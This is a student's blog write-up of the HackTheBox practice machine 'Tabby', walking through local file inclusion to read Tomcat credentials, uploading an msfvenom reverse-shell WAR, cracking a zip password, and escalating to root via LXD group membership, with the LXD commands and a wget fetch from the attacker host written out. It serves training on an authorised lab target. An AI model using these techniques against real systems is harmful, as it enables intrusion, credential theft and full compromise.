HackTheBox Writeup — Tabby

This is my write-up for the HackTheBox machine ‘Tabby’, which runs a Linux OS and is one of the ‘easy’ rated machines.

1. Tabby Info Card

1. Summary

A Local File Inclusion (LFI) vulnerability lets us obtain Tomcat user credentials, enabling us to upload a reverse shell and gain a foothold. To escalate to user ‘Ash’, we use the fcrackzip tool to crack a password protected backup file, which turns out to be the password for Ash’s user account. Finally, to escalate to root we exploit the fact Ash is in the LXD group, thus allowing him to use the LXD API to mount the root filesystem into its own container.

2. Enumeration and Initial Foothold

As always we start of with an Nmap scan, using the following flags:

-sV : Enumerate Versions
-T4 : Increase Speed/Aggressiveness
-p- : Scan all ports 1-65-535
-oN : Output results in default file format into 'full_nmap' file.
2. Tabby Nmap Scan

Just SSH, a bespoke web application and Tomcat? Lets go check out the web bespoke web app.

3. Web Application (Port 80)

The first thing I notice here is the email address, which indicates a hostname, so I add this to my /etc/hosts file.

4. Updated /etc/hosts

With this set, I enumerated the web app further, and clicking on the “Read our statement…” hyperlink takes us to a page that looks vulnerable to LFI. To test this I tried the traditional PoC which is to read the /etc/passwd file.

5. Web Application (Port 80) LFI Vulnerability.

Cool, we have LFI but nothing specific we want to retrieve just yet. After trying some quick-wins (e.g. grabbing SSH keys) to no avail, I decided to leave it for now and went to look at the Tomcat installation on Port 8080.

6. Web Application (Port 8080) — Tomcat Default Page.

A lot of information here, most notably though is the tomcat9-admin hyperlinks (which require authentication) and the hint in the last paragraph as to how we can obtain some Tomcat credentials.

7. Web Application (Port 8080) — Tomcat Admin Authentication Prompt.

Moving back to the LFI, we can use this retrieve the tomcat-users.xml file. This step required you to think about how Tomcat may have been installed, such as through a package manager. Since Nmap identified this box as an Ubuntu (Debian) machine, I did some research on Tomcat installations on Debian machines and came across this file list, which had the correct path.

8. LFI — Gaining Tomcat Credentials

One thing to note from the above is that once authenticating the ‘tomcat’ user does not have full access to the manager-gui, only to the Tomcat Virtual Host Manager GUI and some elements of the manager-gui.

9. Authenticated to Tomcat Virtual Host Manager

However, this user is assigned the ‘manager-script’ role so we can upload a malicious reverse-shell script directly from the CLI using these credentials. The screenshot below shows the creation of a java reverse shell using msfvenom and saving the file as a .WAR file, which is required since Tomcat is built primarily in Java. Then by using cURL we can authenticate and remotely upload the file to the root of the web application.

10. Creation and Uploading of Java Reverse Shell

As mentioned previously, we do have limited access to the manager-gui so we can actually check that our reverse shell is present. As we can see, foothold.war is there along with our user’s payloads (and also one of my failed .war reverse shells).

11. Confirmation of Uploaded Reverse Shell.

Finally, we open up and netcat listener on port 9101 and get a connection from the box ‘tomcat’.

12. Initial Foothold — Tomcat

3. User — Ash

Local enumeration of the box’s web-related directories finds a password protected backup zip file.

13. Locating Suspicious Backup ZIP File.

Moving this back to my Kali machine and using FCrackZip we retrieve the password.

-u : Try to decompress the first file by calling unzip with the guessed password. This helps weed out false-positives.-D : Dictionary attack mode 
-p : Use a file (rockyou.txt) to supply the password
14. Finding Ash’s Password Using FCrackZip

This password turns out to be Ash’s user account password, so we can escalate from Tomcat to Ash using ‘su’ and grab the user.txt flag.

15. User Shell (Ash) and User.txt

4. Root

Running a Linux enumeration script (LinPeas) identified Ash as being part of the LXD group, which can be used in numerous ways to escalate to root. In this case, we are going to use the LXD API to mount the host’s root filesystem into a container, giving a low-privilege user root access to the host filesystem.

16. User Ash is in LXD Group

For a more in-depth understanding of LXC/LXD in Linux and their vulnerabilities, I recommend checking out Raj Chandel’s blog post, which was my reference point for this exploit. But in summary, LXD is is a root process that carries out actions for anyone with write access to the LXD UNIX socket (e.g. in LXD group), and the vulnerability lies in the fact that it often does not attempt to match the privileges of the calling user.

The exploit can be broken down into the following steps:

  • (1) Download ‘alpine-builder’ from the git repository
  • (2) Build an Alpine image
  • (3) Transfer this image to the victim machine
  • (4) Import the image for LXD
  • (5) Initialize the image inside a new container
  • (6) Mount the container inside the /root directory
  • (7) Start the container
// Steps 1, 2 & 3a - To be performed on Kali machine# git clone https://github.com/saghul/lxd-alpine-builder.git
# cd lxd-alpine-builder/
# ./build-alpine
# python3 -m http.server 8000
// Step 3b - To be performed on victim machineash@tabby: wget "http://htb_IP:8000/alpine...tar.gz"

Now at this point we have the Alpine image in the /dev/shm directory of the victim machine, so we need to import the image to LXD. We can also confirm that this has worked by listing the available images.

17. LXD Privilege Escalation (Step 4)

Next we need to initialize the image inside a new (privileged) container (line 1 below) and mount the box’s filesystem into the /mnt/root directory of the container (line 4 below).

18. LXD Privilege Escalation (Step 5 and 6)

And finally, we start our container and execute /bin/sh to get root access to the filesystem, where we can group the root.txt flag.

19. LXD Privilege Escalation (Steps 6 and 7)

As an additional bonus, using this mounted filesystem we can retrieve root’s private SSH key and get a proper shell on the box.

20. Root Shell via SSH (part 1)
21. Root Shell via SSH (Part 2)

Conclusion

Thanks for reading and keep an eye out for future writeups! Feedback is always welcome through, and my HackTheBox profile is linked below :)

--

--

--

MSc Cyber Security Student at Lancaster University. Mostly posting CTF writeups from HackTheBox, TryHackMe and VulnHub.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

What Is The Best No-Code Platform?

The story behind Jesse’s development

Building a 1-to-many iOS video app with Agora

Introducing the World’s First CI/CD Live Debugging Tool

3 Compelling reasons for mobile network operators to invest in 5G “now”

A short story that can help you kick-start with chatbot development

How Much Does It Cost to Develop an IoT App

Yet another Linux newsletter?

Jack Roberts

Jack Roberts

MSc Cyber Security Student at Lancaster University. Mostly posting CTF writeups from HackTheBox, TryHackMe and VulnHub.

More from Medium

Inclusion CTF Walkthrough — TryHackMe

Paper - HackTheBox [Writeup]

Dig Dug — A TryHackMe Writeup

HTB — Search Walkthrough